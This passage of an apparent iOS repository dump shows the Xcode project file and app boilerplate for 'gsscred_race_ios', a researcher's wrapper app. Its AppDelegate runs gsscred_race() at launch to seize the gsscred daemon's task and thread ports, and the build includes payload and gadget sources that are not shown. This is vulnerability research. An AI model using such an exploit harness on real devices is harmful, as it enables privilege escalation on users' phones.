}; 89 | 55DC4C5B1FE3A34100E1D18D /* gsscred_race_ios */ = { 90 | isa = PBXGroup; 91 | children = ( 92 | 55DC4C5C1FE3A34100E1D18D /* AppDelegate.h */, 93 | 55DC4C5D1FE3A34100E1D18D /* AppDelegate.m */, 94 | 55DC4C5F1FE3A34100E1D18D /* ViewController.h */, 95 | 55DC4C601FE3A34100E1D18D /* ViewController.m */, 96 | 55DC4C621FE3A34100E1D18D /* Main.storyboard */, 97 | 55DC4C651FE3A34100E1D18D /* Assets.xcassets */, 98 | 55DC4C671FE3A34100E1D18D /* LaunchScreen.storyboard */, 99 | 55DC4C6A1FE3A34100E1D18D /* Info.plist */, 100 | 55DC4C6B1FE3A34100E1D18D /* main.m */, 101 | ); 102 | path = gsscred_race_ios; 103 | sourceTree = ""; 104 | }; 105 | 55DC4C791FE3A6BD00E1D18D /* gsscred_race */ = { 106 | isa = PBXGroup; 107 | children = ( 108 | 55BEB8F91FF5DF2D008B8F93 /* arm64 */, 109 | 55BEB8ED1FF5DD1D008B8F93 /* apple_private.h */, 110 | 55DC4C7A1FE3A6BD00E1D18D /* gsscred_race.c */, 111 | 55DC4C7C1FE3A6F200E1D18D /* gsscred_race.h */, 112 | 55BEB9061FF6E9EA008B8F93 /* log.c */, 113 | 55BEB9051FF6E9EA008B8F93 /* log.h */, 114 | 55BEB8FD1FF62713008B8F93 /* payload.c */, 115 | 55BEB8FE1FF62713008B8F93 /* payload.h */, 116 | ); 117 | name = gsscred_race; 118 | path = ../gsscred_race; 119 | sourceTree = ""; 120 | }; 121 | /* End PBXGroup section */ 122 | 123 | /* Begin PBXNativeTarget section */ 124 | 55DC4C581FE3A34100E1D18D /* gsscred_race_ios */ = { 125 | isa = PBXNativeTarget; 126 | buildConfigurationList = 55DC4C6F1FE3A34100E1D18D /* Build configuration list for PBXNativeTarget "gsscred_race_ios" */; 127 | buildPhases = ( 128 | 55DC4C551FE3A34100E1D18D /* Sources */, 129 | 55DC4C561FE3A34100E1D18D /* Frameworks */, 130 | 55DC4C571FE3A34100E1D18D /* Resources */, 131 | ); 132 | buildRules = ( 133 | ); 134 | dependencies = ( 135 | ); 136 | name = gsscred_race_ios; 137 | productName = gsscred_race_ios; 138 | productReference = 55DC4C591FE3A34100E1D18D /* gsscred_race_ios.app */; 139 | productType = "com.apple.product-type.application"; 140 | }; 141 | /* End PBXNativeTarget section */ 142 | 143 | /* Begin PBXProject section */ 144 | 55DC4C511FE3A34100E1D18D /* Project object */ = { 145 | isa = PBXProject; 146 | attributes = { 147 | LastUpgradeCheck = 0920; 148 | ORGANIZATIONNAME = "Brandon Azad"; 149 | TargetAttributes = { 150 | 55DC4C581FE3A34100E1D18D = { 151 | CreatedOnToolsVersion = 9.2; 152 | ProvisioningStyle = Automatic; 153 | }; 154 | }; 155 | }; 156 | buildConfigurationList = 55DC4C541FE3A34100E1D18D /* Build configuration list for PBXProject "gsscred_race_ios" */; 157 | compatibilityVersion = "Xcode 8.0"; 158 | developmentRegion = en; 159 | hasScannedForEncodings = 0; 160 | knownRegions = ( 161 | en, 162 | Base, 163 | ); 164 | mainGroup = 55DC4C501FE3A34100E1D18D; 165 | productRefGroup = 55DC4C5A1FE3A34100E1D18D /* Products */; 166 | projectDirPath = ""; 167 | projectRoot = ""; 168 | targets = ( 169 | 55DC4C581FE3A34100E1D18D /* gsscred_race_ios */, 170 | ); 171 | }; 172 | /* End PBXProject section */ 173 | 174 | /* Begin PBXResourcesBuildPhase section */ 175 | 55DC4C571FE3A34100E1D18D /* Resources */ = { 176 | isa = PBXResourcesBuildPhase; 177 | buildActionMask = 2147483647; 178 | files = ( 179 | 55DC4C691FE3A34100E1D18D /* LaunchScreen.storyboard in Resources */, 180 | 55DC4C661FE3A34100E1D18D /* Assets.xcassets in Resources */, 181 | 55DC4C641FE3A34100E1D18D /* Main.storyboard in Resources */, 182 | ); 183 | runOnlyForDeploymentPostprocessing = 0; 184 | }; 185 | /* End PBXResourcesBuildPhase section */ 186 | 187 | /* Begin PBXSourcesBuildPhase section */ 188 | 55DC4C551FE3A34100E1D18D /* Sources */ = { 189 | isa = PBXSourcesBuildPhase; 190 | buildActionMask = 2147483647; 191 | files = ( 192 | 55BEB9071FF6E9EA008B8F93 /* log.c in Sources */, 193 | 55DC4C7B1FE3A6BD00E1D18D /* gsscred_race.c in Sources */, 194 | 55BEB8FC1FF5DF2D008B8F93 /* gadgets.c in Sources */, 195 | 55BEB8FF1FF62713008B8F93 /* payload.c in Sources */, 196 | 55BEB9041FF62723008B8F93 /* arm64_payload.c in Sources */, 197 | 55DC4C611FE3A34100E1D18D /* ViewController.m in Sources */, 198 | 55DC4C6C1FE3A34100E1D18D /* main.m in Sources */, 199 | 55DC4C5E1FE3A34100E1D18D /* AppDelegate.m in Sources */, 200 | 55BEB9031FF62723008B8F93 /* payload_strategy_1.c in Sources */, 201 | ); 202 | runOnlyForDeploymentPostprocessing = 0; 203 | }; 204 | /* End PBXSourcesBuildPhase section */ 205 | 206 | /* Begin PBXVariantGroup section */ 207 | 55DC4C621FE3A34100E1D18D /* Main.storyboard */ = { 208 | isa = PBXVariantGroup; 209 | children = ( 210 | 55DC4C631FE3A34100E1D18D /* Base */, 211 | ); 212 | name = Main.storyboard; 213 | sourceTree = ""; 214 | }; 215 | 55DC4C671FE3A34100E1D18D /* LaunchScreen.storyboard */ = { 216 | isa = PBXVariantGroup; 217 | children = ( 218 | 55DC4C681FE3A34100E1D18D /* Base */, 219 | ); 220 | name = LaunchScreen.storyboard; 221 | sourceTree = ""; 222 | }; 223 | /* End PBXVariantGroup section */ 224 | 225 | /* Begin XCBuildConfiguration section */ 226 | 55DC4C6D1FE3A34100E1D18D /* Debug */ = { 227 | isa = XCBuildConfiguration; 228 | buildSettings = { 229 | ALWAYS_SEARCH_USER_PATHS = NO; 230 | CLANG_ANALYZER_NONNULL = YES; 231 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 232 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 233 | CLANG_CXX_LIBRARY = "libc++"; 234 | CLANG_ENABLE_MODULES = YES; 235 | CLANG_ENABLE_OBJC_ARC = YES; 236 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 237 | CLANG_WARN_BOOL_CONVERSION = YES; 238 | CLANG_WARN_COMMA = YES; 239 | CLANG_WARN_CONSTANT_CONVERSION = YES; 240 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 241 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 242 | CLANG_WARN_EMPTY_BODY = YES; 243 | CLANG_WARN_ENUM_CONVERSION = YES; 244 | CLANG_WARN_INFINITE_RECURSION = YES; 245 | CLANG_WARN_INT_CONVERSION = YES; 246 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 247 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 248 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 249 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 250 | CLANG_WARN_STRICT_PROTOTYPES = YES; 251 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 252 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 253 | CLANG_WARN_UNREACHABLE_CODE = YES; 254 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 255 | CODE_SIGN_IDENTITY = "iPhone Developer"; 256 | COPY_PHASE_STRIP = NO; 257 | DEBUG_INFORMATION_FORMAT = dwarf; 258 | ENABLE_STRICT_OBJC_MSGSEND = YES; 259 | ENABLE_TESTABILITY = YES; 260 | GCC_C_LANGUAGE_STANDARD = gnu11; 261 | GCC_DYNAMIC_NO_PIC = NO; 262 | GCC_NO_COMMON_BLOCKS = YES; 263 | GCC_OPTIMIZATION_LEVEL = 0; 264 | GCC_PREPROCESSOR_DEFINITIONS = ( 265 | "DEBUG=1", 266 | "$(inherited)", 267 | ); 268 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 269 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 270 | GCC_WARN_UNDECLARED_SELECTOR = YES; 271 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 272 | GCC_WARN_UNUSED_FUNCTION = YES; 273 | GCC_WARN_UNUSED_VARIABLE = YES; 274 | IPHONEOS_DEPLOYMENT_TARGET = 11.1; 275 | MTL_ENABLE_DEBUG_INFO = YES; 276 | ONLY_ACTIVE_ARCH = YES; 277 | SDKROOT = iphoneos; 278 | }; 279 | name = Debug; 280 | }; 281 | 55DC4C6E1FE3A34100E1D18D /* Release */ = { 282 | isa = XCBuildConfiguration; 283 | buildSettings = { 284 | ALWAYS_SEARCH_USER_PATHS = NO; 285 | CLANG_ANALYZER_NONNULL = YES; 286 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 287 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 288 | CLANG_CXX_LIBRARY = "libc++"; 289 | CLANG_ENABLE_MODULES = YES; 290 | CLANG_ENABLE_OBJC_ARC = YES; 291 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 292 | CLANG_WARN_BOOL_CONVERSION = YES; 293 | CLANG_WARN_COMMA = YES; 294 | CLANG_WARN_CONSTANT_CONVERSION = YES; 295 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 296 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 297 | CLANG_WARN_EMPTY_BODY = YES; 298 | CLANG_WARN_ENUM_CONVERSION = YES; 299 | CLANG_WARN_INFINITE_RECURSION = YES; 300 | CLANG_WARN_INT_CONVERSION = YES; 301 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 302 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 303 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 304 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 305 | CLANG_WARN_STRICT_PROTOTYPES = YES; 306 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 307 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 308 | CLANG_WARN_UNREACHABLE_CODE = YES; 309 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 310 | CODE_SIGN_IDENTITY = "iPhone Developer"; 311 | COPY_PHASE_STRIP = NO; 312 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 313 | ENABLE_NS_ASSERTIONS = NO; 314 | ENABLE_STRICT_OBJC_MSGSEND = YES; 315 | GCC_C_LANGUAGE_STANDARD = gnu11; 316 | GCC_NO_COMMON_BLOCKS = YES; 317 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 318 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 319 | GCC_WARN_UNDECLARED_SELECTOR = YES; 320 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 321 | GCC_WARN_UNUSED_FUNCTION = YES; 322 | GCC_WARN_UNUSED_VARIABLE = YES; 323 | IPHONEOS_DEPLOYMENT_TARGET = 11.1; 324 | MTL_ENABLE_DEBUG_INFO = NO; 325 | SDKROOT = iphoneos; 326 | VALIDATE_PRODUCT = YES; 327 | }; 328 | name = Release; 329 | }; 330 | 55DC4C701FE3A34100E1D18D /* Debug */ = { 331 | isa = XCBuildConfiguration; 332 | buildSettings = { 333 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 334 | CODE_SIGN_STYLE = Automatic; 335 | DEVELOPMENT_TEAM = DEEG7TTSF2; 336 | INFOPLIST_FILE = gsscred_race_ios/Info.plist; 337 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 338 | PRODUCT_BUNDLE_IDENTIFIER = "com.github.bazad.gsscred-race-ios"; 339 | PRODUCT_NAME = "$(TARGET_NAME)"; 340 | TARGETED_DEVICE_FAMILY = "1,2"; 341 | USER_HEADER_SEARCH_PATHS = "$(SRCROOT)/../gsscred_race"; 342 | }; 343 | name = Debug; 344 | }; 345 | 55DC4C711FE3A34100E1D18D /* Release */ = { 346 | isa = XCBuildConfiguration; 347 | buildSettings = { 348 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 349 | CODE_SIGN_STYLE = Automatic; 350 | DEVELOPMENT_TEAM = DEEG7TTSF2; 351 | INFOPLIST_FILE = gsscred_race_ios/Info.plist; 352 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 353 | PRODUCT_BUNDLE_IDENTIFIER = "com.github.bazad.gsscred-race-ios"; 354 | PRODUCT_NAME = "$(TARGET_NAME)"; 355 | TARGETED_DEVICE_FAMILY = "1,2"; 356 | USER_HEADER_SEARCH_PATHS = "$(SRCROOT)/../gsscred_race"; 357 | }; 358 | name = Release; 359 | }; 360 | /* End XCBuildConfiguration section */ 361 | 362 | /* Begin XCConfigurationList section */ 363 | 55DC4C541FE3A34100E1D18D /* Build configuration list for PBXProject "gsscred_race_ios" */ = { 364 | isa = XCConfigurationList; 365 | buildConfigurations = ( 366 | 55DC4C6D1FE3A34100E1D18D /* Debug */, 367 | 55DC4C6E1FE3A34100E1D18D /* Release */, 368 | ); 369 | defaultConfigurationIsVisible = 0; 370 | defaultConfigurationName = Release; 371 | }; 372 | 55DC4C6F1FE3A34100E1D18D /* Build configuration list for PBXNativeTarget "gsscred_race_ios" */ = { 373 | isa = XCConfigurationList; 374 | buildConfigurations = ( 375 | 55DC4C701FE3A34100E1D18D /* Debug */, 376 | 55DC4C711FE3A34100E1D18D /* Release */, 377 | ); 378 | defaultConfigurationIsVisible = 0; 379 | defaultConfigurationName = Release; 380 | }; 381 | /* End XCConfigurationList section */ 382 | }; 383 | rootObject = 55DC4C511FE3A34100E1D18D /* Project object */; 384 | } 385 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // gsscred_race_ios 4 | // 5 | // Created by Brandon Azad on 12/14/17. 6 | // Copyright © 2017 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // gsscred_race_ios 4 | // 5 | // Created by Brandon Azad on 12/14/17. 6 | // Copyright © 2017 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | #import "gsscred_race.h" 11 | 12 | @interface AppDelegate () 13 | 14 | @end 15 | 16 | @implementation AppDelegate 17 | 18 | 19 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 20 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ 21 | mach_port_t gsscred_task, gsscred_thread; 22 | bool success = gsscred_race(&gsscred_task, &gsscred_thread); 23 | if (success) { 24 | thread_terminate(gsscred_thread); 25 | } 26 | }); 27 | // Override point for customization after application launch. 28 | return YES; 29 | } 30 | 31 | 32 | - (void)applicationWillResignActive:(UIApplication *)application { 33 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 34 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 35 | } 36 | 37 | 38 | - (void)applicationDidEnterBackground:(UIApplication *)application { 39 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 40 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 41 | } 42 | 43 | 44 | - (void)applicationWillEnterForeground:(UIApplication *)application { 45 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 46 | } 47 | 48 | 49 | - (void)applicationDidBecomeActive:(UIApplication *)application { 50 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 51 | } 52 | 53 | 54 | - (void)applicationWillTerminate:(UIApplication *)application { 55 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 56 | } 57 | 58 | 59 | @end 60 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | "size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "idiom" : "iphone", 35 | "size" : "60x60", 36 | "scale" : "2x" 37 | }, 38 | { 39 | "idiom" : "iphone", 40 | "size" : "60x60", 41 | "scale" : "3x" 42 | }, 43 | { 44 | "idiom" : "ipad", 45 | "size" : "20x20", 46 | "scale" : "1x" 47 | }, 48 | { 49 | "idiom" : "ipad", 50 | "size" : "20x20", 51 | "scale" : "2x" 52 | }, 53 | { 54 | "idiom" : "ipad", 55 | "size" : "29x29", 56 | "scale" : "1x" 57 | }, 58 | { 59 | "idiom" : "ipad", 60 | "size" : "29x29", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "idiom" : "ipad", 65 | "size" : "40x40", 66 | "scale" : "1x" 67 | }, 68 | { 69 | "idiom" : "ipad", 70 | "size" : "40x40", 71 | "scale" : "2x" 72 | }, 73 | { 74 | "idiom" : "ipad", 75 | "size" : "76x76", 76 | "scale" : "1x" 77 | }, 78 | { 79 | "idiom" : "ipad", 80 | "size" : "76x76", 81 | "scale" : "2x" 82 | }, 83 | { 84 | "idiom" : "ipad", 85 | "size" : "83.5x83.5", 86 | "scale" : "2x" 87 | }, 88 | { 89 | "idiom" : "ios-marketing", 90 | "size" : "1024x1024", 91 | "scale" : "1x" 92 | } 93 | ], 94 | "info" : { 95 | "version" : 1, 96 | "author" : "xcode" 97 | } 98 | } -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | CFBundleName 14 | $(PRODUCT_NAME) 15 | CFBundlePackageType 16 | APPL 17 | CFBundleShortVersionString 18 | 1.0 19 | CFBundleVersion 20 | 1 21 | LSRequiresIPhoneOS 22 | 23 | UILaunchStoryboardName 24 | LaunchScreen 25 | UIMainStoryboardFile 26 | Main 27 | UIRequiredDeviceCapabilities 28 | 29 | armv7 30 | 31 | UISupportedInterfaceOrientations 32 | 33 | UIInterfaceOrientationPortrait 34 | UIInterfaceOrientationLandscapeLeft 35 | UIInterfaceOrientationLandscapeRight 36 | 37 | UISupportedInterfaceOrientations~ipad 38 | 39 | UIInterfaceOrientationPortrait 40 | UIInterfaceOrientationPortraitUpsideDown 41 | UIInterfaceOrientationLandscapeLeft 42 | UIInterfaceOrientationLandscapeRight 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // gsscred_race_ios 4 | // 5 | // Created by Brandon Azad on 12/14/17. 6 | // Copyright © 2017 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ViewController : UIViewController 12 | 13 | 14 | @end 15 | 16 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/ViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.m 3 | // gsscred_race_ios 4 | // 5 | // Created by Brandon Azad on 12/14/17. 6 | // Copyright © 2017 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import "ViewController.h" 10 | 11 | @interface ViewController () 12 | 13 | @end 14 | 15 | @implementation ViewController 16 | 17 | - (void)viewDidLoad { 18 | [super viewDidLoad]; 19 | // Do any additional setup after loading the view, typically from a nib. 20 | } 21 | 22 | 23 | - (void)didReceiveMemoryWarning { 24 | [super didReceiveMemoryWarning]; 25 | // Dispose of any resources that can be recreated. 26 | } 27 | 28 | 29 | @end 30 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // gsscred_race_ios 4 | // 5 | // Created by Brandon Azad on 12/14/17. 6 | // Copyright © 2017 Brandon Azad. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | --------------------------------------------------------------------------------